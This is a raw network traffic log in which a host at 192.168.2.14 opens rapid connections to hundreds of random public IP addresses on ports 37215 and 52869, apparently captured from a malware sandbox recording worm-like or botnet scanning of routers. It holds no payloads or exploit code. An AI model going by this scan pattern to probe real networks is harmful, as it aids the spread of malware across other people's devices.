Dec 4, 2024 20:34:26.904155970 CET	52386	37215	192.168.2.14	197.83.103.191
Dec 4, 2024 20:34:26.904819012 CET	54718	52869	192.168.2.14	197.7.71.245
Dec 4, 2024 20:34:26.905463934 CET	35782	37215	192.168.2.14	156.90.49.226
Dec 4, 2024 20:34:26.906398058 CET	44480	52869	192.168.2.14	197.134.199.44
Dec 4, 2024 20:34:26.907047033 CET	48862	37215	192.168.2.14	156.54.168.161
Dec 4, 2024 20:34:26.907824993 CET	54016	52869	192.168.2.14	156.38.138.77
Dec 4, 2024 20:34:26.908456087 CET	45186	37215	192.168.2.14	197.182.44.141
Dec 4, 2024 20:34:26.909405947 CET	42270	52869	192.168.2.14	156.26.104.85
Dec 4, 2024 20:34:26.910022974 CET	34808	37215	192.168.2.14	156.34.144.151
Dec 4, 2024 20:34:26.910809040 CET	34336	52869	192.168.2.14	156.83.22.152
Dec 4, 2024 20:34:26.911427021 CET	44220	37215	192.168.2.14	156.127.38.166
Dec 4, 2024 20:34:26.912137032 CET	52869	45946	197.57.17.249	192.168.2.14
Dec 4, 2024 20:34:26.912174940 CET	45946	52869	192.168.2.14	197.57.17.249
Dec 4, 2024 20:34:26.912513971 CET	40070	52869	192.168.2.14	156.83.102.83
Dec 4, 2024 20:34:26.913162947 CET	40530	37215	192.168.2.14	41.97.166.226
Dec 4, 2024 20:34:26.913908005 CET	59962	52869	192.168.2.14	197.90.117.33
Dec 4, 2024 20:34:26.914542913 CET	48536	37215	192.168.2.14	156.110.100.62
Dec 4, 2024 20:34:26.915520906 CET	57760	52869	192.168.2.14	156.128.83.47
Dec 4, 2024 20:34:26.916198015 CET	45190	37215	192.168.2.14	197.30.70.180
Dec 4, 2024 20:34:26.917028904 CET	60074	52869	192.168.2.14	41.44.187.18
Dec 4, 2024 20:34:26.917684078 CET	40894	37215	192.168.2.14	197.46.210.104
Dec 4, 2024 20:34:26.918626070 CET	40432	52869	192.168.2.14	41.88.104.106
Dec 4, 2024 20:34:26.919287920 CET	51930	37215	192.168.2.14	156.126.207.8
Dec 4, 2024 20:34:26.919910908 CET	41464	52869	192.168.2.14	197.193.108.149
Dec 4, 2024 20:34:26.920789957 CET	60019	52869	192.168.2.14	41.18.26.55
Dec 4, 2024 20:34:26.920789957 CET	60019	52869	192.168.2.14	156.115.100.16
Dec 4, 2024 20:34:26.920789957 CET	60019	52869	192.168.2.14	41.89.166.120
Dec 4, 2024 20:34:26.920792103 CET	60019	52869	192.168.2.14	41.14.143.235
Dec 4, 2024 20:34:26.920809984 CET	60019	52869	192.168.2.14	41.166.7.218
Dec 4, 2024 20:34:26.920814037 CET	60019	52869	192.168.2.14	156.158.93.108
Dec 4, 2024 20:34:26.920814037 CET	60019	52869	192.168.2.14	197.72.119.131
Dec 4, 2024 20:34:26.920819044 CET	60019	52869	192.168.2.14	41.225.95.103
Dec 4, 2024 20:34:26.920826912 CET	60019	52869	192.168.2.14	156.153.198.48
Dec 4, 2024 20:34:26.920829058 CET	60019	52869	192.168.2.14	197.230.2.211
Dec 4, 2024 20:34:26.920830011 CET	60019	52869	192.168.2.14	156.35.105.129
Dec 4, 2024 20:34:26.920830011 CET	60019	52869	192.168.2.14	41.202.118.18
Dec 4, 2024 20:34:26.920833111 CET	60019	52869	192.168.2.14	41.181.77.243
Dec 4, 2024 20:34:26.920836926 CET	60019	52869	192.168.2.14	41.15.116.213
Dec 4, 2024 20:34:26.920836926 CET	60019	52869	192.168.2.14	41.254.39.186
Dec 4, 2024 20:34:26.920840979 CET	60019	52869	192.168.2.14	156.48.76.123
Dec 4, 2024 20:34:26.920849085 CET	60019	52869	192.168.2.14	41.235.147.209
Dec 4, 2024 20:34:26.920849085 CET	60019	52869	192.168.2.14	156.120.182.210
Dec 4, 2024 20:34:26.920867920 CET	54100	37215	192.168.2.14	156.91.56.95
Dec 4, 2024 20:34:26.920867920 CET	60019	52869	192.168.2.14	41.6.235.233
Dec 4, 2024 20:34:26.920867920 CET	60019	52869	192.168.2.14	41.245.57.84
Dec 4, 2024 20:34:26.920878887 CET	60019	52869	192.168.2.14	41.155.79.50
Dec 4, 2024 20:34:26.920877934 CET	60019	52869	192.168.2.14	41.87.115.202
Dec 4, 2024 20:34:26.920877934 CET	60019	52869	192.168.2.14	197.17.50.251
Dec 4, 2024 20:34:26.920882940 CET	60019	52869	192.168.2.14	197.200.91.163
Dec 4, 2024 20:34:26.920883894 CET	60019	52869	192.168.2.14	197.62.13.138
Dec 4, 2024 20:34:26.920883894 CET	60019	52869	192.168.2.14	197.229.231.104
Dec 4, 2024 20:34:26.920883894 CET	60019	52869	192.168.2.14	156.216.187.37
Dec 4, 2024 20:34:26.920883894 CET	60019	52869	192.168.2.14	197.133.229.72
Dec 4, 2024 20:34:26.920883894 CET	60019	52869	192.168.2.14	197.202.61.28
Dec 4, 2024 20:34:26.920890093 CET	60019	52869	192.168.2.14	156.126.2.62
Dec 4, 2024 20:34:26.920891047 CET	60019	52869	192.168.2.14	156.130.186.97
Dec 4, 2024 20:34:26.920890093 CET	60019	52869	192.168.2.14	41.230.199.139
Dec 4, 2024 20:34:26.920891047 CET	60019	52869	192.168.2.14	156.107.60.61
Dec 4, 2024 20:34:26.920890093 CET	60019	52869	192.168.2.14	156.245.169.186
Dec 4, 2024 20:34:26.920896053 CET	60019	52869	192.168.2.14	197.174.138.53
Dec 4, 2024 20:34:26.920897961 CET	60019	52869	192.168.2.14	41.168.44.226
Dec 4, 2024 20:34:26.920900106 CET	60019	52869	192.168.2.14	197.236.158.81
Dec 4, 2024 20:34:26.920905113 CET	60019	52869	192.168.2.14	197.77.242.126
Dec 4, 2024 20:34:26.920908928 CET	60019	52869	192.168.2.14	197.236.47.30
Dec 4, 2024 20:34:26.920909882 CET	60019	52869	192.168.2.14	41.148.175.70
Dec 4, 2024 20:34:26.920922995 CET	60019	52869	192.168.2.14	197.222.180.168
Dec 4, 2024 20:34:26.920922995 CET	60019	52869	192.168.2.14	41.105.105.199
Dec 4, 2024 20:34:26.920933008 CET	60019	52869	192.168.2.14	156.168.123.59
Dec 4, 2024 20:34:26.920936108 CET	60019	52869	192.168.2.14	197.250.70.108
Dec 4, 2024 20:34:26.920936108 CET	60019	52869	192.168.2.14	197.251.43.67
Dec 4, 2024 20:34:26.920938015 CET	60019	52869	192.168.2.14	41.19.159.74
Dec 4, 2024 20:34:26.920938015 CET	60019	52869	192.168.2.14	156.22.90.62
Dec 4, 2024 20:34:26.920938969 CET	60019	52869	192.168.2.14	197.130.43.0
Dec 4, 2024 20:34:26.920945883 CET	60019	52869	192.168.2.14	197.18.189.205
Dec 4, 2024 20:34:26.920953035 CET	60019	52869	192.168.2.14	197.56.253.12
Dec 4, 2024 20:34:26.920958042 CET	60019	52869	192.168.2.14	197.66.38.70
Dec 4, 2024 20:34:26.920964956 CET	60019	52869	192.168.2.14	41.45.58.39
Dec 4, 2024 20:34:26.920972109 CET	60019	52869	192.168.2.14	41.9.134.50
Dec 4, 2024 20:34:26.920972109 CET	60019	52869	192.168.2.14	156.26.205.110
Dec 4, 2024 20:34:26.920972109 CET	60019	52869	192.168.2.14	41.0.155.69
Dec 4, 2024 20:34:26.920974016 CET	60019	52869	192.168.2.14	41.50.124.45
Dec 4, 2024 20:34:26.920989037 CET	60019	52869	192.168.2.14	197.138.57.106
Dec 4, 2024 20:34:26.920989037 CET	60019	52869	192.168.2.14	41.66.137.62
Dec 4, 2024 20:34:26.920990944 CET	60019	52869	192.168.2.14	197.100.171.141
Dec 4, 2024 20:34:26.920990944 CET	60019	52869	192.168.2.14	156.59.124.55
Dec 4, 2024 20:34:26.920990944 CET	60019	52869	192.168.2.14	156.213.114.240
Dec 4, 2024 20:34:26.920996904 CET	60019	52869	192.168.2.14	197.222.251.25
Dec 4, 2024 20:34:26.920996904 CET	60019	52869	192.168.2.14	41.206.156.111
Dec 4, 2024 20:34:26.920998096 CET	60019	52869	192.168.2.14	156.86.13.13
Dec 4, 2024 20:34:26.920996904 CET	60019	52869	192.168.2.14	41.9.54.137
Dec 4, 2024 20:34:26.920996904 CET	60019	52869	192.168.2.14	41.194.225.39
Dec 4, 2024 20:34:26.921013117 CET	60019	52869	192.168.2.14	41.144.28.55
Dec 4, 2024 20:34:26.921020031 CET	60019	52869	192.168.2.14	197.7.108.168
Dec 4, 2024 20:34:26.921020031 CET	60019	52869	192.168.2.14	156.245.176.34
Dec 4, 2024 20:34:26.921024084 CET	60019	52869	192.168.2.14	156.85.0.213
Dec 4, 2024 20:34:26.921024084 CET	60019	52869	192.168.2.14	197.138.184.174
Dec 4, 2024 20:34:26.921034098 CET	60019	52869	192.168.2.14	197.184.164.252
Dec 4, 2024 20:34:26.921044111 CET	60019	52869	192.168.2.14	156.98.193.77
Dec 4, 2024 20:34:26.921046019 CET	60019	52869	192.168.2.14	156.179.113.197
Dec 4, 2024 20:34:26.921051979 CET	60019	52869	192.168.2.14	41.160.255.39
Dec 4, 2024 20:34:26.921056032 CET	60019	52869	192.168.2.14	41.162.11.245
Dec 4, 2024 20:34:26.921056032 CET	60019	52869	192.168.2.14	197.50.246.238
Dec 4, 2024 20:34:26.921056986 CET	60019	52869	192.168.2.14	197.187.189.140
Dec 4, 2024 20:34:26.921061039 CET	60019	52869	192.168.2.14	197.67.136.62
Dec 4, 2024 20:34:26.921061993 CET	60019	52869	192.168.2.14	156.178.5.46
Dec 4, 2024 20:34:26.921072006 CET	60019	52869	192.168.2.14	197.137.80.226
Dec 4, 2024 20:34:26.921072960 CET	60019	52869	192.168.2.14	41.122.195.201
Dec 4, 2024 20:34:26.921077013 CET	60019	52869	192.168.2.14	156.63.16.32
Dec 4, 2024 20:34:26.921083927 CET	60019	52869	192.168.2.14	156.180.172.67
Dec 4, 2024 20:34:26.921083927 CET	60019	52869	192.168.2.14	41.220.184.36
Dec 4, 2024 20:34:26.921083927 CET	60019	52869	192.168.2.14	156.5.97.216
Dec 4, 2024 20:34:26.921097040 CET	60019	52869	192.168.2.14	156.108.16.216
Dec 4, 2024 20:34:26.921101093 CET	60019	52869	192.168.2.14	197.63.59.192
Dec 4, 2024 20:34:26.921101093 CET	60019	52869	192.168.2.14	41.63.208.206
Dec 4, 2024 20:34:26.921103001 CET	60019	52869	192.168.2.14	156.254.246.35
Dec 4, 2024 20:34:26.921123981 CET	60019	52869	192.168.2.14	156.60.77.202
Dec 4, 2024 20:34:26.921123981 CET	60019	52869	192.168.2.14	156.170.173.142
Dec 4, 2024 20:34:26.921123981 CET	60019	52869	192.168.2.14	197.38.169.28
Dec 4, 2024 20:34:26.921127081 CET	60019	52869	192.168.2.14	197.13.14.92
Dec 4, 2024 20:34:26.921133995 CET	60019	52869	192.168.2.14	156.197.115.142
Dec 4, 2024 20:34:26.921137094 CET	60019	52869	192.168.2.14	156.190.216.233
Dec 4, 2024 20:34:26.921144009 CET	60019	52869	192.168.2.14	41.51.110.187
Dec 4, 2024 20:34:26.921145916 CET	60019	52869	192.168.2.14	197.118.198.215
Dec 4, 2024 20:34:26.921154976 CET	60019	52869	192.168.2.14	197.125.152.240
Dec 4, 2024 20:34:26.921166897 CET	60019	52869	192.168.2.14	41.93.60.233
Dec 4, 2024 20:34:26.921168089 CET	60019	52869	192.168.2.14	197.73.118.238
Dec 4, 2024 20:34:26.921174049 CET	60019	52869	192.168.2.14	41.158.60.11
Dec 4, 2024 20:34:26.921180964 CET	60019	52869	192.168.2.14	156.42.26.147
Dec 4, 2024 20:34:26.921185017 CET	60019	52869	192.168.2.14	156.170.231.219
Dec 4, 2024 20:34:26.921186924 CET	60019	52869	192.168.2.14	156.52.157.27
Dec 4, 2024 20:34:26.921200991 CET	60019	52869	192.168.2.14	41.195.131.48
Dec 4, 2024 20:34:26.921202898 CET	60019	52869	192.168.2.14	156.244.209.55
Dec 4, 2024 20:34:26.921202898 CET	60019	52869	192.168.2.14	41.67.102.228
Dec 4, 2024 20:34:26.921202898 CET	60019	52869	192.168.2.14	197.32.82.208
Dec 4, 2024 20:34:26.921209097 CET	60019	52869	192.168.2.14	41.21.42.197
Dec 4, 2024 20:34:26.921211958 CET	60019	52869	192.168.2.14	156.82.240.122
Dec 4, 2024 20:34:26.921219110 CET	60019	52869	192.168.2.14	197.216.255.64
Dec 4, 2024 20:34:26.921220064 CET	60019	52869	192.168.2.14	156.19.7.193
Dec 4, 2024 20:34:26.921235085 CET	60019	52869	192.168.2.14	41.247.110.145
Dec 4, 2024 20:34:26.921236038 CET	60019	52869	192.168.2.14	156.246.36.191
Dec 4, 2024 20:34:26.921242952 CET	60019	52869	192.168.2.14	197.237.97.6
Dec 4, 2024 20:34:26.921242952 CET	60019	52869	192.168.2.14	41.130.2.222
Dec 4, 2024 20:34:26.921242952 CET	60019	52869	192.168.2.14	41.34.41.244
Dec 4, 2024 20:34:26.921243906 CET	60019	52869	192.168.2.14	41.90.93.125
Dec 4, 2024 20:34:26.921256065 CET	60019	52869	192.168.2.14	197.31.156.81
Dec 4, 2024 20:34:26.921256065 CET	60019	52869	192.168.2.14	41.32.40.31
Dec 4, 2024 20:34:26.921263933 CET	60019	52869	192.168.2.14	156.180.252.33
Dec 4, 2024 20:34:26.921264887 CET	60019	52869	192.168.2.14	156.212.219.216
Dec 4, 2024 20:34:26.921264887 CET	60019	52869	192.168.2.14	156.132.249.204
Dec 4, 2024 20:34:26.921276093 CET	60019	52869	192.168.2.14	156.74.248.66
Dec 4, 2024 20:34:26.921277046 CET	60019	52869	192.168.2.14	197.61.192.121
Dec 4, 2024 20:34:26.921277046 CET	60019	52869	192.168.2.14	41.100.170.124
Dec 4, 2024 20:34:26.921276093 CET	60019	52869	192.168.2.14	41.53.148.225
Dec 4, 2024 20:34:26.921277046 CET	60019	52869	192.168.2.14	197.255.181.16
Dec 4, 2024 20:34:26.921278954 CET	60019	52869	192.168.2.14	197.162.161.89
Dec 4, 2024 20:34:26.921278954 CET	60019	52869	192.168.2.14	156.187.203.194
Dec 4, 2024 20:34:26.921284914 CET	60019	52869	192.168.2.14	197.232.16.167
Dec 4, 2024 20:34:26.921284914 CET	60019	52869	192.168.2.14	197.29.248.171
Dec 4, 2024 20:34:26.921288013 CET	60019	52869	192.168.2.14	41.236.79.87
Dec 4, 2024 20:34:26.921288013 CET	60019	52869	192.168.2.14	41.246.255.230
Dec 4, 2024 20:34:26.921288967 CET	60019	52869	192.168.2.14	41.146.178.125
Dec 4, 2024 20:34:26.921293974 CET	60019	52869	192.168.2.14	41.226.101.1
Dec 4, 2024 20:34:26.921299934 CET	60019	52869	192.168.2.14	156.106.237.246
Dec 4, 2024 20:34:26.921302080 CET	60019	52869	192.168.2.14	156.203.98.103
Dec 4, 2024 20:34:26.921314955 CET	60019	52869	192.168.2.14	41.42.145.230
Dec 4, 2024 20:34:26.921314955 CET	60019	52869	192.168.2.14	197.138.22.242
Dec 4, 2024 20:34:26.921314955 CET	60019	52869	192.168.2.14	197.58.45.227
Dec 4, 2024 20:34:26.921325922 CET	60019	52869	192.168.2.14	41.29.176.10
Dec 4, 2024 20:34:26.921327114 CET	60019	52869	192.168.2.14	156.171.92.238
Dec 4, 2024 20:34:26.921327114 CET	60019	52869	192.168.2.14	197.241.26.16
Dec 4, 2024 20:34:26.921338081 CET	60019	52869	192.168.2.14	197.190.145.197
Dec 4, 2024 20:34:26.921338081 CET	60019	52869	192.168.2.14	197.201.61.38
Dec 4, 2024 20:34:26.921338081 CET	60019	52869	192.168.2.14	197.19.255.215
Dec 4, 2024 20:34:26.921338081 CET	60019	52869	192.168.2.14	41.185.18.213
Dec 4, 2024 20:34:26.921346903 CET	60019	52869	192.168.2.14	156.205.92.224
Dec 4, 2024 20:34:26.921353102 CET	60019	52869	192.168.2.14	156.89.155.127
Dec 4, 2024 20:34:26.921353102 CET	60019	52869	192.168.2.14	197.55.198.192
Dec 4, 2024 20:34:26.921365976 CET	60019	52869	192.168.2.14	197.233.177.54
Dec 4, 2024 20:34:26.921366930 CET	60019	52869	192.168.2.14	41.154.56.71
Dec 4, 2024 20:34:26.921374083 CET	60019	52869	192.168.2.14	41.13.16.177
Dec 4, 2024 20:34:26.921374083 CET	60019	52869	192.168.2.14	197.170.143.92
Dec 4, 2024 20:34:26.921384096 CET	60019	52869	192.168.2.14	156.64.98.39
Dec 4, 2024 20:34:26.921389103 CET	60019	52869	192.168.2.14	197.139.111.104
Dec 4, 2024 20:34:26.921390057 CET	60019	52869	192.168.2.14	156.123.252.249
Dec 4, 2024 20:34:26.921400070 CET	60019	52869	192.168.2.14	41.60.240.171
Dec 4, 2024 20:34:26.921427965 CET	48420	52869	192.168.2.14	41.169.164.75
Dec 4, 2024 20:34:26.921427965 CET	48420	52869	192.168.2.14	41.169.164.75
Dec 4, 2024 20:34:26.921539068 CET	48884	37215	192.168.2.14	41.251.151.107
Dec 4, 2024 20:34:26.922120094 CET	48894	52869	192.168.2.14	41.169.164.75
Dec 4, 2024 20:34:26.922822952 CET	56592	37215	192.168.2.14	197.170.229.87
Dec 4, 2024 20:34:26.923046112 CET	55648	52869	192.168.2.14	41.118.64.160
Dec 4, 2024 20:34:26.923046112 CET	55648	52869	192.168.2.14	41.118.64.160
Dec 4, 2024 20:34:26.923594952 CET	52869	53662	156.33.126.151	192.168.2.14
Dec 4, 2024 20:34:26.923635960 CET	53662	52869	192.168.2.14	156.33.126.151
Dec 4, 2024 20:34:26.923702955 CET	56104	52869	192.168.2.14	41.118.64.160
Dec 4, 2024 20:34:26.924253941 CET	54344	37215	192.168.2.14	41.183.182.85
Dec 4, 2024 20:34:26.924498081 CET	43260	52869	192.168.2.14	156.143.161.42
Dec 4, 2024 20:34:26.924498081 CET	43260	52869	192.168.2.14	156.143.161.42
Dec 4, 2024 20:34:26.925184011 CET	43664	52869	192.168.2.14	156.143.161.42
Dec 4, 2024 20:34:26.925781012 CET	53988	37215	192.168.2.14	156.122.160.94
Dec 4, 2024 20:34:26.925879955 CET	34958	52869	192.168.2.14	197.149.191.62
Dec 4, 2024 20:34:26.925879955 CET	34958	52869	192.168.2.14	197.149.191.62
Dec 4, 2024 20:34:26.926496029 CET	60275	37215	192.168.2.14	41.221.232.124
Dec 4, 2024 20:34:26.926498890 CET	60275	37215	192.168.2.14	41.212.233.46
Dec 4, 2024 20:34:26.926498890 CET	60275	37215	192.168.2.14	197.160.53.246
Dec 4, 2024 20:34:26.926498890 CET	60275	37215	192.168.2.14	41.198.130.111
Dec 4, 2024 20:34:26.926505089 CET	60275	37215	192.168.2.14	156.248.22.83
Dec 4, 2024 20:34:26.926517010 CET	60275	37215	192.168.2.14	156.152.82.212
Dec 4, 2024 20:34:26.926517963 CET	60275	37215	192.168.2.14	197.21.183.237
Dec 4, 2024 20:34:26.926523924 CET	60275	37215	192.168.2.14	156.7.121.5
Dec 4, 2024 20:34:26.926525116 CET	60275	37215	192.168.2.14	156.240.10.117
Dec 4, 2024 20:34:26.926525116 CET	60275	37215	192.168.2.14	41.22.154.90
Dec 4, 2024 20:34:26.926525116 CET	60275	37215	192.168.2.14	41.217.36.117
Dec 4, 2024 20:34:26.926548004 CET	60275	37215	192.168.2.14	41.154.171.132
Dec 4, 2024 20:34:26.926548004 CET	60275	37215	192.168.2.14	41.159.33.51
Dec 4, 2024 20:34:26.926551104 CET	60275	37215	192.168.2.14	41.99.173.221
Dec 4, 2024 20:34:26.926559925 CET	35334	52869	192.168.2.14	197.149.191.62
Dec 4, 2024 20:34:26.926559925 CET	60275	37215	192.168.2.14	156.163.159.188
Dec 4, 2024 20:34:26.926561117 CET	60275	37215	192.168.2.14	41.153.122.81
Dec 4, 2024 20:34:26.926561117 CET	60275	37215	192.168.2.14	41.172.207.156
Dec 4, 2024 20:34:26.926562071 CET	60275	37215	192.168.2.14	41.189.40.141
Dec 4, 2024 20:34:26.926564932 CET	60275	37215	192.168.2.14	156.98.186.10
Dec 4, 2024 20:34:26.926577091 CET	60275	37215	192.168.2.14	41.67.56.228
Dec 4, 2024 20:34:26.926578999 CET	60275	37215	192.168.2.14	156.77.193.61
Dec 4, 2024 20:34:26.926590919 CET	60275	37215	192.168.2.14	41.221.98.182
Dec 4, 2024 20:34:26.926590919 CET	60275	37215	192.168.2.14	156.246.203.144
Dec 4, 2024 20:34:26.926590919 CET	60275	37215	192.168.2.14	197.193.161.184
Dec 4, 2024 20:34:26.926599979 CET	60275	37215	192.168.2.14	197.37.42.50
Dec 4, 2024 20:34:26.926599979 CET	60275	37215	192.168.2.14	197.24.120.155
Dec 4, 2024 20:34:26.926599979 CET	60275	37215	192.168.2.14	197.6.231.223
Dec 4, 2024 20:34:26.926601887 CET	60275	37215	192.168.2.14	41.55.215.45
Dec 4, 2024 20:34:26.926601887 CET	60275	37215	192.168.2.14	41.251.85.153
Dec 4, 2024 20:34:26.926604033 CET	60275	37215	192.168.2.14	197.193.103.236
Dec 4, 2024 20:34:26.926615953 CET	60275	37215	192.168.2.14	197.55.4.0
Dec 4, 2024 20:34:26.926625967 CET	60275	37215	192.168.2.14	197.30.48.157
Dec 4, 2024 20:34:26.926634073 CET	60275	37215	192.168.2.14	197.157.112.202
Dec 4, 2024 20:34:26.926640987 CET	60275	37215	192.168.2.14	41.170.177.14
Dec 4, 2024 20:34:26.926646948 CET	60275	37215	192.168.2.14	156.222.242.239
Dec 4, 2024 20:34:26.926649094 CET	60275	37215	192.168.2.14	156.215.222.129
Dec 4, 2024 20:34:26.926649094 CET	60275	37215	192.168.2.14	156.12.79.156
Dec 4, 2024 20:34:26.926651001 CET	60275	37215	192.168.2.14	41.169.227.42
Dec 4, 2024 20:34:26.926660061 CET	60275	37215	192.168.2.14	197.233.188.189
Dec 4, 2024 20:34:26.926667929 CET	60275	37215	192.168.2.14	197.79.243.219
Dec 4, 2024 20:34:26.926680088 CET	60275	37215	192.168.2.14	197.217.201.61
Dec 4, 2024 20:34:26.926681042 CET	60275	37215	192.168.2.14	41.47.163.49
Dec 4, 2024 20:34:26.926695108 CET	60275	37215	192.168.2.14	197.89.6.242
Dec 4, 2024 20:34:26.926709890 CET	60275	37215	192.168.2.14	156.59.201.194
Dec 4, 2024 20:34:26.926728010 CET	60275	37215	192.168.2.14	41.99.153.62
Dec 4, 2024 20:34:26.926732063 CET	60275	37215	192.168.2.14	156.230.104.60
Dec 4, 2024 20:34:26.926733017 CET	60275	37215	192.168.2.14	197.114.189.188
Dec 4, 2024 20:34:26.926734924 CET	60275	37215	192.168.2.14	197.228.182.100
Dec 4, 2024 20:34:26.926749945 CET	60275	37215	192.168.2.14	197.51.139.124
Dec 4, 2024 20:34:26.926749945 CET	60275	37215	192.168.2.14	197.169.126.139
Dec 4, 2024 20:34:26.926749945 CET	60275	37215	192.168.2.14	197.239.153.171
Dec 4, 2024 20:34:26.926750898 CET	60275	37215	192.168.2.14	41.110.193.57
Dec 4, 2024 20:34:26.926750898 CET	60275	37215	192.168.2.14	156.123.211.232
Dec 4, 2024 20:34:26.926754951 CET	60275	37215	192.168.2.14	41.198.155.203
Dec 4, 2024 20:34:26.926773071 CET	60275	37215	192.168.2.14	197.22.94.74
Dec 4, 2024 20:34:26.926776886 CET	60275	37215	192.168.2.14	41.138.233.133
Dec 4, 2024 20:34:26.926778078 CET	60275	37215	192.168.2.14	197.172.140.94
Dec 4, 2024 20:34:26.926778078 CET	60275	37215	192.168.2.14	41.132.4.137
Dec 4, 2024 20:34:26.926779985 CET	60275	37215	192.168.2.14	156.72.243.49
Dec 4, 2024 20:34:26.926800966 CET	60275	37215	192.168.2.14	156.59.84.106
Dec 4, 2024 20:34:26.926800966 CET	60275	37215	192.168.2.14	197.82.39.174
Dec 4, 2024 20:34:26.926808119 CET	60275	37215	192.168.2.14	156.93.71.219
Dec 4, 2024 20:34:26.926809072 CET	60275	37215	192.168.2.14	41.140.200.224
Dec 4, 2024 20:34:26.926809072 CET	60275	37215	192.168.2.14	41.200.214.116
Dec 4, 2024 20:34:26.926815033 CET	60275	37215	192.168.2.14	41.233.42.13
Dec 4, 2024 20:34:26.926831007 CET	60275	37215	192.168.2.14	41.177.120.192
Dec 4, 2024 20:34:26.926830053 CET	60275	37215	192.168.2.14	197.69.227.91
Dec 4, 2024 20:34:26.926830053 CET	60275	37215	192.168.2.14	41.128.8.201
Dec 4, 2024 20:34:26.926836014 CET	60275	37215	192.168.2.14	156.244.48.69
Dec 4, 2024 20:34:26.926839113 CET	60275	37215	192.168.2.14	156.249.171.255
Dec 4, 2024 20:34:26.926839113 CET	60275	37215	192.168.2.14	197.42.2.193
Dec 4, 2024 20:34:26.926852942 CET	60275	37215	192.168.2.14	197.52.54.202
Dec 4, 2024 20:34:26.926856995 CET	60275	37215	192.168.2.14	156.219.229.104
Dec 4, 2024 20:34:26.926879883 CET	60275	37215	192.168.2.14	156.172.45.23
Dec 4, 2024 20:34:26.926879883 CET	60275	37215	192.168.2.14	41.13.185.108
Dec 4, 2024 20:34:26.926886082 CET	60275	37215	192.168.2.14	41.60.72.37
Dec 4, 2024 20:34:26.926887035 CET	60275	37215	192.168.2.14	197.243.209.126
Dec 4, 2024 20:34:26.926887035 CET	60275	37215	192.168.2.14	197.136.205.112
Dec 4, 2024 20:34:26.926898956 CET	60275	37215	192.168.2.14	197.33.210.37
Dec 4, 2024 20:34:26.926898956 CET	60275	37215	192.168.2.14	156.192.184.141
Dec 4, 2024 20:34:26.926898956 CET	60275	37215	192.168.2.14	156.43.112.172
Dec 4, 2024 20:34:26.926906109 CET	45946	52869	192.168.2.14	197.57.17.249
Dec 4, 2024 20:34:26.926906109 CET	45946	52869	192.168.2.14	197.57.17.249
Dec 4, 2024 20:34:26.926909924 CET	60275	37215	192.168.2.14	197.74.136.17
Dec 4, 2024 20:34:26.926909924 CET	60275	37215	192.168.2.14	156.8.77.106
Dec 4, 2024 20:34:26.926914930 CET	60275	37215	192.168.2.14	41.209.132.73
Dec 4, 2024 20:34:26.926914930 CET	60275	37215	192.168.2.14	156.211.75.74
Dec 4, 2024 20:34:26.926914930 CET	60275	37215	192.168.2.14	156.116.80.79
Dec 4, 2024 20:34:26.926914930 CET	60275	37215	192.168.2.14	197.55.188.126
Dec 4, 2024 20:34:26.926914930 CET	60275	37215	192.168.2.14	156.219.65.247
Dec 4, 2024 20:34:26.926917076 CET	60275	37215	192.168.2.14	156.103.123.237
Dec 4, 2024 20:34:26.926923037 CET	60275	37215	192.168.2.14	41.106.242.78
Dec 4, 2024 20:34:26.926933050 CET	60275	37215	192.168.2.14	41.48.111.175
Dec 4, 2024 20:34:26.926935911 CET	60275	37215	192.168.2.14	156.219.56.171
Dec 4, 2024 20:34:26.926938057 CET	60275	37215	192.168.2.14	197.96.73.58
Dec 4, 2024 20:34:26.926938057 CET	60275	37215	192.168.2.14	156.1.65.69
Dec 4, 2024 20:34:26.926944017 CET	60275	37215	192.168.2.14	197.122.185.120
Dec 4, 2024 20:34:26.926944971 CET	60275	37215	192.168.2.14	156.136.3.73
Dec 4, 2024 20:34:26.926953077 CET	60275	37215	192.168.2.14	197.158.52.224
Dec 4, 2024 20:34:26.926958084 CET	60275	37215	192.168.2.14	41.38.236.130
Dec 4, 2024 20:34:26.926961899 CET	60275	37215	192.168.2.14	197.168.170.234
Dec 4, 2024 20:34:26.926980972 CET	60275	37215	192.168.2.14	197.68.148.17
Dec 4, 2024 20:34:26.926980972 CET	60275	37215	192.168.2.14	41.6.232.103
Dec 4, 2024 20:34:26.927006960 CET	60275	37215	192.168.2.14	41.125.40.117
Dec 4, 2024 20:34:26.927011967 CET	60275	37215	192.168.2.14	156.192.152.215
Dec 4, 2024 20:34:26.927016020 CET	60275	37215	192.168.2.14	156.224.196.159
Dec 4, 2024 20:34:26.927016020 CET	60275	37215	192.168.2.14	156.94.225.8
Dec 4, 2024 20:34:26.927022934 CET	60275	37215	192.168.2.14	41.155.137.209
Dec 4, 2024 20:34:26.927031040 CET	60275	37215	192.168.2.14	156.113.140.66
Dec 4, 2024 20:34:26.927031994 CET	60275	37215	192.168.2.14	41.133.27.213
Dec 4, 2024 20:34:26.927031040 CET	60275	37215	192.168.2.14	197.203.58.78
Dec 4, 2024 20:34:26.927031994 CET	60275	37215	192.168.2.14	41.63.89.17
Dec 4, 2024 20:34:26.927033901 CET	60275	37215	192.168.2.14	156.111.104.72
Dec 4, 2024 20:34:26.927047014 CET	60275	37215	192.168.2.14	197.27.162.139
Dec 4, 2024 20:34:26.927047014 CET	60275	37215	192.168.2.14	156.42.203.224
Dec 4, 2024 20:34:26.927050114 CET	60275	37215	192.168.2.14	41.128.31.60
Dec 4, 2024 20:34:26.927056074 CET	60275	37215	192.168.2.14	156.87.4.247
Dec 4, 2024 20:34:26.927056074 CET	60275	37215	192.168.2.14	197.65.10.180
Dec 4, 2024 20:34:26.927077055 CET	60275	37215	192.168.2.14	197.185.241.155
Dec 4, 2024 20:34:26.927078009 CET	60275	37215	192.168.2.14	41.157.200.46
Dec 4, 2024 20:34:26.927081108 CET	60275	37215	192.168.2.14	156.207.0.132
Dec 4, 2024 20:34:26.927081108 CET	60275	37215	192.168.2.14	41.63.141.23
Dec 4, 2024 20:34:26.927081108 CET	60275	37215	192.168.2.14	156.98.180.61
Dec 4, 2024 20:34:26.927086115 CET	60275	37215	192.168.2.14	41.223.7.36
Dec 4, 2024 20:34:26.927087069 CET	60275	37215	192.168.2.14	156.21.126.205
Dec 4, 2024 20:34:26.927087069 CET	60275	37215	192.168.2.14	41.174.105.123
Dec 4, 2024 20:34:26.927100897 CET	60275	37215	192.168.2.14	156.122.11.97
Dec 4, 2024 20:34:26.927105904 CET	60275	37215	192.168.2.14	197.218.95.73
Dec 4, 2024 20:34:26.927110910 CET	60275	37215	192.168.2.14	41.171.242.15
Dec 4, 2024 20:34:26.927110910 CET	60275	37215	192.168.2.14	197.76.224.104
